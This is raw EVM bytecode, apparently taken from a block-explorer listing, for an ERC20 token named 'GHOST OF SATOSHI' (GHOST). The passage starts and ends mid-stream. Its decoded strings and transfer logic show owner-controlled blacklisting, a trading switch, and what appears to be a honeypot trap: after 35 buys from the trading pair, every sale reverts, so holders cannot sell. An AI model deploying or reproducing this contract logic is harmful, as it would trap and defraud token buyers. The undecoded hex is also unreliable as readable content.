ffffffffffffffff16905090565b610ea5611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2990612f8c565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f47484f5354000000000000000000000000000000000000000000000000000000815250905090565b610f9a611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101e90612f8c565b60405180910390fd5b8060188190555050565b600061104561103e611447565b8484611618565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110b0611447565b73ffffffffffffffffffffffffffffffffffffffff1614806111265750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661110e611447565b73ffffffffffffffffffffffffffffffffffffffff16145b61112f57600080fd5b600061113a30610bff565b905061114581612000565b50565b611150611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d490612f8c565b60405180910390fd5b60006008819055506000600a8190555060006009819055506000600b81905550565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61128e611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461131b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131290612f8c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361138a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611381906130c4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590613156565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361152d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611524906131e8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160b9190612d7e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e9061327a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ed9061330c565b60405180910390fd5b60008111611739576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117309061339e565b60405180910390fd5b611741610e74565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117af575061177f610e74565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b9a57601560149054906101000a900460ff1661183e576117d0610e74565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461183d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183490613430565b60405180910390fd5b5b601654811115611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a9061349c565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119275750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195d9061352e565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611a1357601754816119c884610bff565b6119d2919061354e565b10611a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a09906135f4565b60405180910390fd5b5b6000611a1e30610bff565b9050600060185482101590506016548210611a395760165491505b808015611a51575060158054906101000a900460ff16155b8015611aab5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611ac35750601560169054906101000a900460ff165b8015611b195750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b6f5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b9757611b7d82612000565b60004790506000811115611b9557611b9447611f26565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c415750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611cf45750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611cf35750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611d025760009050611eb0565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611dad5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ddd57600854600c81905550600954600d8190555060196000815480929190611dd79061300a565b91905055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e885750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611eaf57600a54600c81905550600b54600d81905550602360195410611eae57600080fd5b5b5b611ebc84848484612277565b50505050565b6000838311158290611f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f019190612c27565b60405180910390fd5b5060008385611f199190613614565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f8e573d6000803e3d6000fd5b5050565b6000600654821115611fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd0906136ba565b60405180910390fd5b6000611fe36122a4565b9050611ff881846122cf90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612037576120366129be565b5b6040519080825280602002602001820160405280156120655781602001602082028036833780820191505090505b509050308160008151811061207d5761207c612fac565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612124573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061214891906136ef565b8160018151811061215c5761215b612fac565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121c330601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461144f565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612227959493929190613815565b600060405180830381600087803b15801561224157600080fd5b505af1158015612255573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061228557612284612319565b5b612290848484612356565b8061229e5761229d612521565b5b50505050565b60008060006122b1612535565b915091506122c881836122cf90919063ffffffff16565b9250505090565b600061231183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612591565b905092915050565b6000600c5414801561232d57506000600d54145b61235457600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612368876125f4565b9550955095509550955095506123c686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061245b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124a781612704565b6124b184836127c1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161250e9190612d7e565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000664a9b63844880009050612567664a9b63844880006006546122cf90919063ffffffff16565b82101561258457600654664a9b638448800093509350505061258d565b81819350935050505b9091565b600080831182906125d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125cf9190612c27565b60405180910390fd5b50600083856125e7919061389e565b9050809150509392505050565b60008060008060008060008060006126118a600c54600d546127fb565b92509250925060006126216122a4565b905060008060006126348e878787612891565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061269e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ec2565b905092915050565b60008082846126b5919061354e565b9050838110156126fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f19061391b565b60405180910390fd5b8091505092915050565b600061270e6122a4565b90506000612725828461291a90919063ffffffff16565b905061277981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127d68260065461265c90919063ffffffff16565b6006819055506127f1816007546126a690919063ffffffff16565b6007819055505050565b6000806000806128276064612819888a61291a90919063ffffffff16565b6122cf90919063ffffffff16565b905060006128516064612843888b61291a90919063ffffffff16565b6122cf90919063ffffffff16565b9050600061287a8261286c858c61265c90919063ffffffff16565b61265c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128aa858961291a90919063ffffffff16565b905060006128c1868961291a90919063ffffffff16565b905060006128d8878961291a90919063ffffffff16565b90506000612901826128f3858761265c90919063ffffffff16565b61265c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080830361292c576000905061298e565b6000828461293a919061393b565b9050828482612949919061389e565b14612989576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612980906139ef565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6129f6826129ad565b810181811067ffffffffffffffff82111715612a1557612a146129be565b5b80604052505050565b6000612a28612994565b9050612a3482826129ed565b919050565b600067ffffffffffffffff821115612a5457612a536129be565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a9582612a6a565b9050919050565b612aa581612a8a565b8114612ab057600080fd5b50565b600081359050612ac281612a9c565b92915050565b6000612adb612ad684612a39565b612a1e565b90508083825260208201905060208402830185811115612afe57612afd612a65565b5b835b81811015612b275780612b138882612ab3565b845260208401935050602081019050612b00565b5050509392505050565b600082601f830112612b4657612b456129a8565b5b8135612b56848260208601612ac8565b91505092915050565b600060208284031215612b7557612b7461299e565b5b600082013567ffffffffffffffff811115612b9357612b926129a3565b5b612b9f84828501612b31565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612be2578082015181840152602081019050612bc7565b60008484015250505050565b6000612bf982612ba8565b612c038185612bb3565b9350612c13818560208601612bc4565b612c1c816129ad565b840191505092915050565b60006020820190508181036000830152612c418184612bee565b905092915050565b6000819050919050565b612c5c81612c49565b8114612c6757600080fd5b50565b600081359050612c7981612c53565b92915050565b60008060408385031215612c9657612c9561299e565b5b6000612ca485828601612ab3565b9250506020612cb585828601612c6a565b9150509250929050565b60008115159050919050565b612cd481612cbf565b82525050565b6000602082019050612cef6000830184612ccb565b92915050565b6000819050919050565b6000612d1a612d15612d1084612a6a565b612cf5565b612a6a565b9050919050565b6000612d2c82612cff565b9050919050565b6000612d3e82612d21565b9050919050565b612d4e81612d33565b82525050565b6000602082019050612d696000830184612d45565b92915050565b612d7881612c49565b82525050565b6000602082019050612d936000830184612d6f565b92915050565b600080600060608486031215612db257612db161299e565b5b6000612dc086828701612ab3565b9350506020612dd186828701612ab3565b9250506040612de286828701612c6a565b9150509250925092565b600060ff82169050919050565b612e0281612dec565b82525050565b6000602082019050612e1d6000830184612df9565b92915050565b612e2c81612a8a565b82525050565b6000602082019050612e476000830184612e23565b92915050565b600060208284031215612e6357612e6261299e565b5b6000612e7184828501612ab3565b91505092915050565b612e8381612cbf565b8114612e8e57600080fd5b50565b600081359050612ea081612e7a565b92915050565b600060208284031215612ebc57612ebb61299e565b5b6000612eca84828501612e91565b91505092915050565b600060208284031215612ee957612ee861299e565b5b6000612ef784828501612c6a565b91505092915050565b60008060408385031215612f1757612f1661299e565b5b6000612f2585828601612ab3565b9250506020612f3685828601612ab3565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f76602083612bb3565b9150612f8182612f40565b602082019050919050565b60006020820190508181036000830152612fa581612f69565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061301582612c49565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361304757613046612fdb565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006130ae602683612bb3565b91506130b982613052565b604082019050919050565b600060208201905081810360008301526130dd816130a1565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613140602483612bb3565b915061314b826130e4565b604082019050919050565b6000602082019050818103600083015261316f81613133565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006131d2602283612bb3565b91506131dd82613176565b604082019050919050565b60006020820190508181036000830152613201816131c5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613264602583612bb3565b915061326f82613208565b604082019050919050565b6000602082019050818103600083015261329381613257565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006132f6602383612bb3565b91506133018261329a565b604082019050919050565b60006020820190508181036000830152613325816132e9565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613388602983612bb3565b91506133938261332c565b604082019050919050565b600060208201905081810360008301526133b78161337b565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b600061341a603f83612bb3565b9150613425826133be565b604082019050919050565b600060208201905081810360008301526134498161340d565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613486601c83612bb3565b915061349182613450565b602082019050919050565b600060208201905081810360008301526134b581613479565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613518602383612bb3565b9150613523826134bc565b604082019050919050565b600060208201905081810360008301526135478161350b565b9050919050565b600061355982612c49565b915061356483612c49565b925082820190508082111561357c5761357b612fdb565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006135de602383612bb3565b91506135e982613582565b604082019050919050565b6000602082019050818103600083015261360d816135d1565b9050919050565b600061361f82612c49565b915061362a83612c49565b925082820390508181111561364257613641612fdb565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006136a4602a83612bb3565b91506136af82613648565b604082019050919050565b600060208201905081810360008301526136d381613697565b9050919050565b6000815190506136e981612a9c565b92915050565b6000602082840312156137055761370461299e565b5b6000613713848285016136da565b91505092915050565b6000819050919050565b600061374161373c6137378461371c565b612cf5565b612c49565b9050919050565b61375181613726565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61378c81612a8a565b82525050565b600061379e8383613783565b60208301905092915050565b6000602082019050919050565b60006137c282613757565b6137cc8185613762565b93506137d783613773565b8060005b838110156138085781516137ef8882613792565b97506137fa836137aa565b9250506001810190506137db565b5085935050505092915050565b600060a08201905061382a6000830188612d6f565b6138376020830187613748565b818103604083015261384981866137b7565b90506138586060830185612e23565b6138656080830184612d6f565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006138a982612c49565b91506138b483612c49565b9250826138c4576138c361386f565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613905601b83612bb3565b9150613910826138cf565b602082019050919050565b60006020820190508181036000830152613934816138f8565b9050919050565b600061394682612c49565b915061395183612c49565b925082820261395f81612c49565b9150828204841483151761397657613975612fdb565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006139d9602183612bb3565b91506139e48261397d565b604082019050919050565b60006020820190508181036000830152613a08816139cc565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122090bdfcc59942061e2437722fd2f8ac127800df19f3fc8072c84028c1a89d5e0664736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101c55760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461062a578063d8f1ee6414610641578063dd62ed3e14610658578063f2fde38b14610695576101cc565b806395d89b411461055c57806398a5c31514610587578063a9059cbb146105b0578063bfd79284146105ed576101cc565b80637f2feddc116100d15780637f2feddc146104a05780638da5cb5b146104dd5780638f70ccf7146105085780638f9a55c014610531576101cc565b8063715018a614610447578063751039fc1461045e5780637d1db4a514610475576101cc565b80632fd689e3116101645780636b9990531161013e5780636b999053146103a15780636d8aa8f8146103ca5780636fc3eaec146103f357806370a082311461040a576101cc565b80632fd689e314610320578063313ce5671461034b57806349bd5a5e14610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d5780631eaf007f146102b857806323b872dd146102e3576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612b5f565b6106be565b005b34801561020657600080fd5b5061020f6107e8565b60405161021c9190612c27565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612c7f565b610825565b6040516102599190612cda565b60405180910390f35b34801561026e57600080fd5b50610277610843565b6040516102849190612d54565b60405180910390f35b34801561029957600080fd5b506102a2610869565b6040516102af9190612d7e565b60405180910390f35b3480156102c457600080fd5b506102cd610878565b6040516102da9190612d7e565b60405180910390f35b3480156102ef57600080fd5b5061030a60048036038101906103059190612d99565b61087e565b6040516103179190612cda565b60405180910390f35b34801561032c57600080fd5b50610335610957565b6040516103429190612d7e565b60405180910390f35b34801561035757600080fd5b5061036061095d565b60405161036d9190612e08565b60405180910390f35b34801561038257600080fd5b5061038b610966565b6040516103989190612e32565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c39190612e4d565b61098c565b005b3480156103d657600080fd5b506103f160048036038101906103ec9190612ea6565b610a7c565b005b3480156103ff57600080fd5b50610408610b2e565b005b34801561041657600080fd5b50610431600480360381019061042c9190612e4d565b610bff565b60405161043e9190612d7e565b60405180910390f35b34801561045357600080fd5b5061045c610c50565b005b34801561046a57600080fd5b50610473610da3565b005b34801561048157600080fd5b5061048a610e56565b6040516104979190612d7e565b60405180910390f35b3480156104ac57600080fd5b506104c760048036038101906104c29190612e4d565b610e5c565b6040516104d49190612d7e565b60405180910390f35b3480156104e957600080fd5b506104f2610e74565b6040516104ff9190612e32565b60405180910390f35b34801561051457600080fd5b5061052f600480360381019061052a9190612ea6565b610e9d565b005b34801561053d57600080fd5b50610546610f4f565b6040516105539190612d7e565b60405180910390f35b34801561056857600080fd5b50610571610f55565b60405161057e9190612c27565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a99190612ed3565b610f92565b005b3480156105bc57600080fd5b506105d760048036038101906105d29190612c7f565b611031565b6040516105e49190612cda565b60405180910390f35b3480156105f957600080fd5b50610614600480360381019061060f9190612e4d565b61104f565b6040516106219190612cda565b60405180910390f35b34801561063657600080fd5b5061063f61106f565b005b34801561064d57600080fd5b50610656611148565b005b34801561066457600080fd5b5061067f600480360381019061067a9190612f00565b6111ff565b60405161068c9190612d7e565b60405180910390f35b3480156106a157600080fd5b506106bc60048036038101906106b79190612e4d565b611286565b005b6106c6611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074a90612f8c565b60405180910390fd5b60005b81518110156107e45760016010600084848151811061077857610777612fac565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107dc9061300a565b915050610756565b5050565b60606040518060400160405280601081526020017f47484f5354204f46205341544f53484900000000000000000000000000000000815250905090565b6000610839610832611447565b848461144f565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000664a9b6384488000905090565b60195481565b600061088b848484611618565b61094c84610897611447565b61094785604051806060016040528060288152602001613a1060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108fd611447565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec29092919063ffffffff16565b61144f565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610994611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890612f8c565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a84611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0890612f8c565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b6f611447565b73ffffffffffffffffffffffffffffffffffffffff161480610be55750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bcd611447565b73ffffffffffffffffffffffffffffffffffffffff16145b610bee57600080fd5b6000479050610bfc81611f26565b50565b6000610c49600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f92565b9050919050565b610c58611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdc90612f8c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dab611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2f90612f8c565b60405180910390fd5b664a9b6384488000601681905550664a9b6384488000601781905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea5611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2990612f8c565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f47484f5354000000000000000000000000000000000000000000000000000000815250905090565b610f9a611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101e90612f8c565b60405180910390fd5b8060188190555050565b600061104561103e611447565b8484611618565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110b0611447565b73ffffffffffffffffffffffffffffffffffffffff1614806111265750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661110e611447565b73ffffffffffffffffffffffffffffffffffffffff16145b61112f57600080fd5b600061113a30610bff565b905061114581612000565b50565b611150611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d490612f8c565b60405180910390fd5b60006008819055506000600a8190555060006009819055506000600b81905550565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61128e611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461131b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131290612f8c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361138a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611381906130c4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590613156565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361152d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611524906131e8565b60405180910390fd5b80600460008573fffffffffffffffffffffff